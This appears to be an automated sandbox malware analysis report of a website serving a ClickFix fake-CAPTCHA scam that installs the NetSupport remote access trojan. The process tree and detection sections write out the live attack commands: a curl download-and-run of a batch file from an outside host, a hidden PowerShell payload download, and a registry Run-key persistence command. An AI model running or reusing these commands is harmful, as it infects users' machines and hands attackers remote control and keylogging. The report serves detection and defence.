Edit tour

Windows Analysis Report
http://www.focuslight.com/

Overview

General Information

Sample URL:	http://www.focuslight.com/
Analysis ID:	1700159
Infos:

Detection

NetSupport RAT, CAPTCHA Scam ClickFix

Score:	100
Range:	0 - 100
Confidence:	100%

Signatures

Detect drive by download via clipboard copy & paste

Multi AV Scanner detection for dropped file

Sigma detected: Powershell drops NetSupport RAT client

Suricata IDS alerts for network traffic

Yara detected CAPTCHA Scam ClickFix

HTML page adds supicious text to clipboard

HTML page contains obfuscated javascript

NDIS Filter Driver detected (likely used to intercept and sniff network traffic)

Powershell drops PE file

Sample is not signed and drops a device driver

Sigma detected: Suspicious Invoke-WebRequest Execution

Suspicious powershell command line found

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates driver files

Drops PE files

Enables debug privileges

Enables security privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found dropped PE file which has not been started or loaded

Invalid T&C link found

May sleep (evasive loops) to hinder dynamic analysis

PE file contains more sections than normal

PE file contains sections with non-standard names

PE file does not import any functions

Queries sensitive Operating System Information (via WMI, Win32_ComputerSystem, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sigma detected: CurrentVersion Autorun Keys Modification

Sigma detected: Direct Autorun Keys Modification

Sigma detected: Potential Binary Or Script Dropper Via PowerShell

Sigma detected: Potential Persistence Attempt Via Run Keys Using Reg.EXE

Sigma detected: PowerShell Web Download

Sigma detected: Usage Of Web Request Commands And Cmdlets

Suricata IDS alerts with low severity for network traffic

Uses reg.exe to modify the Windows registry

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Yara detected Keylogger Generic

Yara detected NetSupport remote tool

Classification

Process Tree

System is w10x64

chrome.exe (PID: 5668 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank" MD5: E81F54E6C1129887AEA47E7D092680BF)

chrome.exe (PID: 2744 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --field-trial-handle=3220,i,14266024722842573986,13548840143605449493,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction --variations-seed-version=20250306-183004.429000 --mojo-platform-channel-handle=3268 /prefetch:3 MD5: E81F54E6C1129887AEA47E7D092680BF)

chrome.exe (PID: 6860 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" "http://www.focuslight.com/" MD5: E81F54E6C1129887AEA47E7D092680BF)

cmd.exe (PID: 4356 cmdline: cmd /K C:\WINDOWS\system32\cmd.exe /c cmd.exe /c cmd.exe /c cmd.exe /c C:\WINDOWS\system32\curl.exe -k -Ss -X POST "https://www.insideedgepr.com/header.php" -o "C:\ProgramData\xss.bat" && start /min "" "C:\ProgramData\xss.bat" Press Enter MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 4520 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cmd.exe (PID: 7004 cmdline: C:\WINDOWS\system32\cmd.exe /c cmd.exe /c cmd.exe /c cmd.exe /c C:\WINDOWS\system32\curl.exe -k -Ss -X POST "https://www.insideedgepr.com/header.php" -o "C:\ProgramData\xss.bat" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

cmd.exe (PID: 5016 cmdline: cmd.exe /c cmd.exe /c cmd.exe /c C:\WINDOWS\system32\curl.exe -k -Ss -X POST "https://www.insideedgepr.com/header.php" -o "C:\ProgramData\xss.bat" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

cmd.exe (PID: 5032 cmdline: cmd.exe /c cmd.exe /c C:\WINDOWS\system32\curl.exe -k -Ss -X POST "https://www.insideedgepr.com/header.php" -o "C:\ProgramData\xss.bat" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

cmd.exe (PID: 4904 cmdline: cmd.exe /c C:\WINDOWS\system32\curl.exe -k -Ss -X POST "https://www.insideedgepr.com/header.php" -o "C:\ProgramData\xss.bat" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

curl.exe (PID: 5064 cmdline: C:\WINDOWS\system32\curl.exe -k -Ss -X POST "https://www.insideedgepr.com/header.php" -o "C:\ProgramData\xss.bat" MD5: 44E5BAEEE864F1E9EDBE3986246AB37A)

cmd.exe (PID: 4960 cmdline: C:\Windows\system32\cmd.exe /K "C:\ProgramData\xss.bat" Press Enter MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 4952 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 4892 cmdline: powershell -WindowStyle Hidden -Command "Invoke-WebRequest -Uri 'https://www.insideedgepr.com/raxs.zip?8d21e5f647d81a33c781' -OutFile 'C:\Users\user\AppData\Roaming\Program.zip'" MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC)

powershell.exe (PID: 6328 cmdline: powershell -WindowStyle Hidden -Command "Add-Type -AssemblyName 'System.IO.Compression.FileSystem'; [IO.Compression.ZipFile]::ExtractToDirectory('C:\Users\user\AppData\Roaming\Program.zip', 'C:\Users\user\AppData\Roaming\Directory')" MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC)

client32.exe (PID: 5784 cmdline: "C:\Users\user\AppData\Roaming\Directory\client32.exe" MD5: EE75B57B9300AAB96530503BFAE8A2F2)

reg.exe (PID: 6336 cmdline: reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run" /v "Program_Cs1" /t REG_SZ /d "C:\Users\user\AppData\Roaming\Directory\client32.exe" /f MD5: CDD462E86EC0F20DE2A1D781928B1B0C)

client32.exe (PID: 3244 cmdline: "C:\Users\user\AppData\Roaming\Directory\client32.exe" MD5: EE75B57B9300AAB96530503BFAE8A2F2)

client32.exe (PID: 4772 cmdline: "C:\Users\user\AppData\Roaming\Directory\client32.exe" MD5: EE75B57B9300AAB96530503BFAE8A2F2)

cleanup

Yara Signatures

Dropped Files

Source	Rule	Description	Author
C:\Users\user\AppData\Roaming\Directory\pcicapi.dll	JoeSecurity_NetSupport	Yara detected NetSupport remote tool	Joe Security
C:\Users\user\AppData\Roaming\Directory\client32.exe	JoeSecurity_NetSupport	Yara detected NetSupport remote tool	Joe Security
C:\Users\user\AppData\Roaming\Directory\HTCTL32.DLL	JoeSecurity_NetSupport	Yara detected NetSupport remote tool	Joe Security
C:\Users\user\AppData\Roaming\Directory\PCICHEK.DLL	JoeSecurity_NetSupport	Yara detected NetSupport remote tool	Joe Security
C:\Users\user\AppData\Roaming\Directory\TCCTL32.DLL	JoeSecurity_NetSupport	Yara detected NetSupport remote tool	Joe Security
C:\Users\user\AppData\Roaming\Directory\PCICL32.DLL	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
C:\Users\user\AppData\Roaming\Directory\PCICL32.DLL	JoeSecurity_NetSupport	Yara detected NetSupport remote tool	Joe Security
Click to see the 2 entries

Memory Dumps

Source	Rule	Description	Author
00000022.00000002.1973402402.0000000000F92000.00000002.00000001.01000000.0000000B.sdmp	JoeSecurity_NetSupport	Yara detected NetSupport remote tool	Joe Security
0000001D.00000002.2020043160.0000000002A72000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_NetSupport	Yara detected NetSupport remote tool	Joe Security
00000022.00000002.1973680770.00000000111E1000.00000004.00000001.01000000.0000000C.sdmp	JoeSecurity_NetSupport	Yara detected NetSupport remote tool	Joe Security
00000021.00000000.1888686094.0000000000F92000.00000002.00000001.01000000.0000000B.sdmp	JoeSecurity_NetSupport	Yara detected NetSupport remote tool	Joe Security
00000022.00000000.1969236658.0000000000F92000.00000002.00000001.01000000.0000000B.sdmp	JoeSecurity_NetSupport	Yara detected NetSupport remote tool	Joe Security
0000001D.00000000.1763409289.0000000000F92000.00000002.00000001.01000000.0000000B.sdmp	JoeSecurity_NetSupport	Yara detected NetSupport remote tool	Joe Security
0000001D.00000002.2019779438.0000000000F92000.00000002.00000001.01000000.0000000B.sdmp	JoeSecurity_NetSupport	Yara detected NetSupport remote tool	Joe Security
0000001C.00000002.1759185059.000000000520A000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_NetSupport	Yara detected NetSupport remote tool	Joe Security
00000022.00000002.1973008502.0000000000C18000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_NetSupport	Yara detected NetSupport remote tool	Joe Security
0000001D.00000002.2021916267.00000000111E1000.00000004.00000001.01000000.0000000C.sdmp	JoeSecurity_NetSupport	Yara detected NetSupport remote tool	Joe Security
00000021.00000002.1891661737.00000000111E1000.00000004.00000001.01000000.0000000C.sdmp	JoeSecurity_NetSupport	Yara detected NetSupport remote tool	Joe Security
0000001D.00000002.2022624501.000000006C090000.00000002.00000001.01000000.00000010.sdmp	JoeSecurity_NetSupport	Yara detected NetSupport remote tool	Joe Security
0000001D.00000002.2021848504.0000000011193000.00000002.00000001.01000000.0000000C.sdmp	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
0000001D.00000002.2021848504.0000000011193000.00000002.00000001.01000000.0000000C.sdmp	JoeSecurity_NetSupport	Yara detected NetSupport remote tool	Joe Security
00000022.00000002.1973644487.0000000011193000.00000002.00000001.01000000.0000000C.sdmp	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
00000022.00000002.1973644487.0000000011193000.00000002.00000001.01000000.0000000C.sdmp	JoeSecurity_NetSupport	Yara detected NetSupport remote tool	Joe Security
00000021.00000002.1890861207.0000000000F92000.00000002.00000001.01000000.0000000B.sdmp	JoeSecurity_NetSupport	Yara detected NetSupport remote tool	Joe Security
00000021.00000002.1891623943.0000000011193000.00000002.00000001.01000000.0000000C.sdmp	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
00000021.00000002.1891623943.0000000011193000.00000002.00000001.01000000.0000000C.sdmp	JoeSecurity_NetSupport	Yara detected NetSupport remote tool	Joe Security
Process Memory Space: powershell.exe PID: 6328	JoeSecurity_NetSupport	Yara detected NetSupport remote tool	Joe Security
Process Memory Space: client32.exe PID: 5784	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
Process Memory Space: client32.exe PID: 5784	JoeSecurity_NetSupport	Yara detected NetSupport remote tool	Joe Security
Process Memory Space: client32.exe PID: 3244	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
Process Memory Space: client32.exe PID: 3244	JoeSecurity_NetSupport	Yara detected NetSupport remote tool	Joe Security
Process Memory Space: client32.exe PID: 4772	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
Process Memory Space: client32.exe PID: 4772	JoeSecurity_NetSupport	Yara detected NetSupport remote tool	Joe Security
Click to see the 21 entries

HTML

Source	Rule	Description	Author	Strings
0.2.pages.csv	JoeSecurity_CAPTCHAScam	Yara detected CAPTCHA Scam/ ClickFix	Joe Security

Sigma Signatures

System Summary

Sigma detected: Suspicious Invoke-WebRequest Execution

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: powershell -WindowStyle Hidden -Command "Invoke-WebRequest -Uri 'https://www.insideedgepr.com/raxs.zip?8d21e5f647d81a33c781' -OutFile 'C:\Users\user\AppData\Roaming\Program.zip'" , CommandLine: powershell -WindowStyle Hidden -Command "Invoke-WebRequest -Uri 'https://www.insideedgepr.com/raxs.zip?8d21e5f647d81a33c781' -OutFile 'C:\Users\user\AppData\Roaming\Program.zip'" , CommandLine|base64offset|contains: ^, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: C:\Windows\system32\cmd.exe /K "C:\ProgramData\xss.bat" Press Enter, ParentImage: C:\Windows\SysWOW64\cmd.exe, ParentProcessId: 4960, ParentProcessName: cmd.exe, ProcessCommandLine: powershell -WindowStyle Hidden -Command "Invoke-WebRequest -Uri 'https://www.insideedgepr.com/raxs.zip?8d21e5f647d81a33c781' -OutFile 'C:\Users\user\AppData\Roaming\Program.zip'" , ProcessId: 4892, ProcessName: powershell.exe

Sigma detected: CurrentVersion Autorun Keys Modification

Source: Registry Key set

Author: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split): Data: Details: C:\Users\user\AppData\Roaming\Directory\client32.exe, EventID: 13, EventType: SetValue, Image: C:\Windows\SysWOW64\reg.exe, ProcessId: 6336, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Program_Cs1

Sigma detected: Direct Autorun Keys Modification

Source: Process started

Author: Victor Sergeev, Daniil Yugoslavskiy, oscd.community: Data: Command: reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run" /v "Program_Cs1" /t REG_SZ /d "C:\Users\user\AppData\Roaming\Directory\client32.exe" /f, CommandLine: reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run" /v "Program_Cs1" /t REG_SZ /d "C:\Users\user\AppData\Roaming\Directory\client32.exe" /f, CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\reg.exe, NewProcessName: C:\Windows\SysWOW64\reg.exe, OriginalFileName: C:\Windows\SysWOW64\reg.exe, ParentCommandLine: C:\Windows\system32\cmd.exe /K "C:\ProgramData\xss.bat" Press Enter, ParentImage: C:\Windows\SysWOW64\cmd.exe, ParentProcessId: 4960, ParentProcessName: cmd.exe, ProcessCommandLine: reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run" /v "Program_Cs1" /t REG_SZ /d "C:\Users\user\AppData\Roaming\Directory\client32.exe" /f, ProcessId: 6336, ProcessName: reg.exe

Sigma detected: Potential Binary Or Script Dropper Via PowerShell

Source: File created

Author: frack113, Nasreddine Bencherchali (Nextron Systems): Data: EventID: 11, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ProcessId: 6328, TargetFilename: C:\Users\user\AppData\Roaming\Directory\HTCTL32.DLL

Sigma detected: Potential Persistence Attempt Via Run Keys Using Reg.EXE

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run" /v "Program_Cs1" /t REG_SZ /d "C:\Users\user\AppData\Roaming\Directory\client32.exe" /f, CommandLine: reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run" /v "Program_Cs1" /t REG_SZ /d "C:\Users\user\AppData\Roaming\Directory\client32.exe" /f, CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\reg.exe, NewProcessName: C:\Windows\SysWOW64\reg.exe, OriginalFileName: C:\Windows\SysWOW64\reg.exe, ParentCommandLine: C:\Windows\system32\cmd.exe /K "C:\ProgramData\xss.bat" Press Enter, ParentImage: C:\Windows\SysWOW64\cmd.exe, ParentProcessId: 4960, ParentProcessName: cmd.exe, ProcessCommandLine: reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run" /v "Program_Cs1" /t REG_SZ /d "C:\Users\user\AppData\Roaming\Directory\client32.exe" /f, ProcessId: 6336, ProcessName: reg.exe

Sigma detected: PowerShell Web Download

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: powershell -WindowStyle Hidden -Command "Invoke-WebRequest -Uri 'https://www.insideedgepr.com/raxs.zip?8d21e5f647d81a33c781' -OutFile 'C:\Users\user\AppData\Roaming\Program.zip'" , CommandLine: powershell -WindowStyle Hidden -Command "Invoke-WebRequest -Uri 'https://www.insideedgepr.com/raxs.zip?8d21e5f647d81a33c781' -OutFile 'C:\Users\user\AppData\Roaming\Program.zip'" , CommandLine|base64offset|contains: ^, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: C:\Windows\system32\cmd.exe /K "C:\ProgramData\xss.bat" Press Enter, ParentImage: C:\Windows\SysWOW64\cmd.exe, ParentProcessId: 4960, ParentProcessName: cmd.exe, ProcessCommandLine: powershell -WindowStyle Hidden -Command "Invoke-WebRequest -Uri 'https://www.insideedgepr.com/raxs.zip?8d21e5f647d81a33c781' -OutFile 'C:\Users\user\AppData\Roaming\Program.zip'" , ProcessId: 4892, ProcessName: powershell.exe

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: powershell -WindowStyle Hidden -Command "Invoke-WebRequest -Uri 'https://www.insideedgepr.com/raxs.zip?8d21e5f647d81a33c781' -OutFile 'C:\Users\user\AppData\Roaming\Program.zip'" , CommandLine: powershell -WindowStyle Hidden -Command "Invoke-WebRequest -Uri 'https://www.insideedgepr.com/raxs.zip?8d21e5f647d81a33c781' -OutFile 'C:\Users\user\AppData\Roaming\Program.zip'" , CommandLine|base64offset|contains: ^, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: C:\Windows\system32\cmd.exe /K "C:\ProgramData\xss.bat" Press Enter, ParentImage: C:\Windows\SysWOW64\cmd.exe, ParentProcessId: 4960, ParentProcessName: cmd.exe, ProcessCommandLine: powershell -WindowStyle Hidden -Command "Invoke-WebRequest -Uri 'https://www.insideedgepr.com/raxs.zip?8d21e5f647d81a33c781' -OutFile 'C:\Users\user\AppData\Roaming\Program.zip'" , ProcessId: 4892, ProcessName: powershell.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell -WindowStyle Hidden -Command "Invoke-WebRequest -Uri 'https://www.insideedgepr.com/raxs.zip?8d21e5f647d81a33c781' -OutFile 'C:\Users\user\AppData\Roaming\Program.zip'" , CommandLine: powershell -WindowStyle Hidden -Command "Invoke-WebRequest -Uri 'https://www.insideedgepr.com/raxs.zip?8d21e5f647d81a33c781' -OutFile 'C:\Users\user\AppData\Roaming\Program.zip'" , CommandLine|base64offset|contains: ^, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: C:\Windows\system32\cmd.exe /K "C:\ProgramData\xss.bat" Press Enter, ParentImage: C:\Windows\SysWOW64\cmd.exe, ParentProcessId: 4960, ParentProcessName: cmd.exe, ProcessCommandLine: powershell -WindowStyle Hidden -Command "Invoke-WebRequest -Uri 'https://www.insideedgepr.com/raxs.zip?8d21e5f647d81a33c781' -OutFile 'C:\Users\user\AppData\Roaming\Program.zip'" , ProcessId: 4892, ProcessName: powershell.exe

Remote Access Functionality

Sigma detected: Powershell drops NetSupport RAT client

Source: File created

Author: Joe Security: Data: EventID: 11, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ProcessId: 6328, TargetFilename: C:\Users\user\AppData\Roaming\Directory\NSM.LIC

Suricata Signatures

ET EXPLOIT_KIT ZPHP Domain in DNS Lookup (ace-project .org)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-05-27T20:51:44.415268+0200	2061991	1	Exploit Kit Activity Detected	192.168.2.4	64780	1.1.1.1	53	UDP
2025-05-27T20:51:44.415403+0200	2061991	1	Exploit Kit Activity Detected	192.168.2.4	52899	1.1.1.1	53	UDP

ET EXPLOIT_KIT ZPHP Domain in TLS SNI (ace-project .org)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-05-27T20:51:45.115627+0200	2061994	1	Exploit Kit Activity Detected	192.168.2.4	49741	162.214.153.12	443	TCP

ET MALWARE NetSupport RAT with System Information

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-05-27T20:51:30.786642+0200	2035894	1	A Network Trojan was detected	192.168.2.4	49762	5.252.178.123	443	TCP

ETPRO MALWARE NetSupport RAT CnC Activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-05-27T20:51:30.786642+0200	2827745	1	Malware Command and Control Activity Detected	192.168.2.4	49762	5.252.178.123	443	TCP
2025-05-27T20:52:33.959492+0200	2827745	1	Malware Command and Control Activity Detected	192.168.2.4	49762	5.252.178.123	443	TCP

Joe Security ANOMALY Windows PowerShell HTTP activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-05-27T20:52:12.243076+0200	1810000	2	Potentially Bad Traffic	192.168.2.4	49760	141.193.213.10	443	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Multi AV Scanner detection for dropped file

Source: C:\Users\user\AppData\Roaming\Directory\client32.exe	ReversingLabs: Detection: 18%
Source: C:\Users\user\AppData\Roaming\Directory\remcmdstub.exe	ReversingLabs: Detection: 16%

Phishing

Yara detected CAPTCHA Scam ClickFix

Source: Yara match

File source: 0.2.pages.csv, type: HTML

HTML page contains obfuscated javascript

Source: https://ace-project.org/d.js

HTTP Parser: (function(_0x56c4d6,_0x1184e4){const _0x47dcd9=_0x11e7,_0x1961fe=_0x56c4d6();while(!![]){try{const _

Source: https://www.focuslight.com/

HTTP Parser: Invalid link: Privacy Statement

Source: https://www.focuslight.com/	HTTP Parser: No favicon
Source: https://www.focuslight.com/	HTTP Parser: No favicon
Source: https://www.focuslight.com/	HTTP Parser: No favicon

Source: https://www.focuslight.com/

HTTP Parser: No <meta name="author".. found

Source: https://www.focuslight.com/

HTTP Parser: No <meta name="copyright".. found

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Users\user\AppData\Roaming\Directory\msvcr100.dll

Jump to behavior

Source: unknown	HTTPS traffic detected: 52.149.20.212:443 -> 192.168.2.4:49742 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 141.193.213.10:443 -> 192.168.2.4:49759 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 141.193.213.10:443 -> 192.168.2.4:49760 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 52.149.20.212:443 -> 192.168.2.4:49761 version: TLS 1.2

Source:	Binary string: E:\nsmsrc\nsm\1210\1210\ctl32\Full\pcichek.pdb source: client32.exe, 0000001D.00000002.2023427992.0000000070142000.00000002.00000001.01000000.0000000F.sdmp, client32.exe, 00000021.00000002.1892321802.0000000070142000.00000002.00000001.01000000.0000000F.sdmp, client32.exe, 00000022.00000002.1974260328.0000000070142000.00000002.00000001.01000000.0000000F.sdmp
Source:	Binary string: msvcr100.i386.pdb source: client32.exe, 0000001D.00000002.2022808297.0000000070051000.00000020.00000001.01000000.0000000D.sdmp, client32.exe, 00000021.00000002.1892063645.0000000070051000.00000020.00000001.01000000.0000000D.sdmp, client32.exe, 00000022.00000002.1974000969.0000000070051000.00000020.00000001.01000000.0000000D.sdmp, msvcr100.dll.28.dr
Source:	Binary string: E:\nsmsrc\nsm\1210\1210f\client32\Release\PCICL32.pdb source: client32.exe, 0000001D.00000002.2021848504.0000000011193000.00000002.00000001.01000000.0000000C.sdmp, client32.exe, 00000021.00000002.1891623943.0000000011193000.00000002.00000001.01000000.0000000C.sdmp, client32.exe, 00000022.00000002.1973644487.0000000011193000.00000002.00000001.01000000.0000000C.sdmp, PCICL32.DLL.28.dr
Source:	Binary string: E:\nsmsrc\nsm\1210\1210f\ctl32\release\htctl32.pdbL source: client32.exe, 0000001D.00000002.2022624501.000000006C090000.00000002.00000001.01000000.00000010.sdmp, HTCTL32.DLL.28.dr
Source:	Binary string: g:\workspace\wsk\divert\install\WDDK\amd64\itvwd64.pdb source: powershell.exe, 0000001C.00000002.1759185059.0000000004FE4000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001C.00000002.1759185059.000000000522B000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001C.00000002.1759185059.0000000004E74000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001C.00000002.1759185059.0000000004E53000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001C.00000002.1759185059.0000000004F2C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001C.00000002.1759185059.000000000509B000.00000004.00000800.00020000.00000000.sdmp, itvwd64.sys4.28.dr, itvwd64.sys.28.dr, itvwd64.sys0.28.dr, itvwd64.sys2.28.dr
Source:	Binary string: E:\nsmsrc\nsm\1410\1410\client32\release_unicode\client32.pdb source: client32.exe, 0000001D.00000000.1763409289.0000000000F92000.00000002.00000001.01000000.0000000B.sdmp, client32.exe, 0000001D.00000002.2019779438.0000000000F92000.00000002.00000001.01000000.0000000B.sdmp, client32.exe, 00000021.00000000.1888686094.0000000000F92000.00000002.00000001.01000000.0000000B.sdmp, client32.exe, 00000021.00000002.1890861207.0000000000F92000.00000002.00000001.01000000.0000000B.sdmp, client32.exe, 00000022.00000002.1973402402.0000000000F92000.00000002.00000001.01000000.0000000B.sdmp, client32.exe, 00000022.00000000.1969236658.0000000000F92000.00000002.00000001.01000000.0000000B.sdmp, client32.exe.28.dr
Source:	Binary string: E:\nsmsrc\nsm\1210\1210f\ctl32\release\htctl32.pdb source: client32.exe, 0000001D.00000002.2022624501.000000006C090000.00000002.00000001.01000000.00000010.sdmp, HTCTL32.DLL.28.dr
Source:	Binary string: E:\nsmsrc\nsm\1210\1210\ctl32\Release\pcicapi.pdb source: powershell.exe, 0000001C.00000002.1759185059.000000000520A000.00000004.00000800.00020000.00000000.sdmp, client32.exe, 0000001D.00000002.2023193636.0000000070125000.00000002.00000001.01000000.0000000E.sdmp, client32.exe, 00000021.00000002.1892228410.0000000070125000.00000002.00000001.01000000.0000000E.sdmp, client32.exe, 00000022.00000002.1974174646.0000000070125000.00000002.00000001.01000000.0000000E.sdmp, pcicapi.dll.28.dr
Source:	Binary string: C:\buildslave\goldsrc_win32\build\GoldSrc\engine\GL_Release_STEAM\hw.pdb@ source: hw.dll.28.dr
Source:	Binary string: C:\buildslave\goldsrc_win32\build\GoldSrc\engine\GL_Release_STEAM\hw.pdb source: hw.dll.28.dr

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2061991 - Severity 1 - ET EXPLOIT_KIT ZPHP Domain in DNS Lookup (ace-project .org) : 192.168.2.4:64780 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2061991 - Severity 1 - ET EXPLOIT_KIT ZPHP Domain in DNS Lookup (ace-project .org) : 192.168.2.4:52899 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2061994 - Severity 1 - ET EXPLOIT_KIT ZPHP Domain in TLS SNI (ace-project .org) : 192.168.2.4:49741 -> 162.214.153.12:443
Source: Network traffic	Suricata IDS: 2827745 - Severity 1 - ETPRO MALWARE NetSupport RAT CnC Activity : 192.168.2.4:49762 -> 5.252.178.123:443
Source: Network traffic	Suricata IDS: 2035894 - Severity 1 - ET MALWARE NetSupport RAT with System Information : 192.168.2.4:49762 -> 5.252.178.123:443

NDIS Filter Driver detected (likely used to intercept and sniff network traffic)

Source: itvwd64.sys.28.dr	Static PE information: Found NDIS imports: FwpsInjectionHandleDestroy0, FwpsInjectionHandleCreate0, FwpmTransactionCommit0, FwpsInjectNetworkSendAsync0, FwpmCalloutAdd0, FwpmSubLayerDeleteByKey0, FwpsQueryPacketInjectionState0, FwpmFilterDeleteByKey0, FwpmCalloutDeleteByKey0, FwpsFlowRemoveContext0, FwpsInjectNetworkReceiveAsync0, FwpmSubLayerAdd0, FwpsCalloutUnregisterByKey0, FwpsFlowAssociateContext0, FwpsAllocateNetBufferAndNetBufferList0, FwpsFreeNetBufferList0, FwpmEngineClose0, FwpmTransactionBegin0, FwpmFilterAdd0, FwpmProviderDeleteByKey0, FwpmEngineOpen0, FwpmTransactionAbort0, FwpsCalloutRegister0, FwpmProviderAdd0, FwpsInjectForwardAsync0
Source: itvwd64.sys0.28.dr	Static PE information: Found NDIS imports: FwpsInjectionHandleDestroy0, FwpsInjectionHandleCreate0, FwpmTransactionCommit0, FwpsInjectNetworkSendAsync0, FwpmCalloutAdd0, FwpmSubLayerDeleteByKey0, FwpsQueryPacketInjectionState0, FwpmFilterDeleteByKey0, FwpmCalloutDeleteByKey0, FwpsFlowRemoveContext0, FwpsInjectNetworkReceiveAsync0, FwpmSubLayerAdd0, FwpsCalloutUnregisterByKey0, FwpsFlowAssociateContext0, FwpsAllocateNetBufferAndNetBufferList0, FwpsFreeNetBufferList0, FwpmEngineClose0, FwpmTransactionBegin0, FwpmFilterAdd0, FwpmProviderDeleteByKey0, FwpmEngineOpen0, FwpmTransactionAbort0, FwpsCalloutRegister0, FwpmProviderAdd0, FwpsInjectForwardAsync0
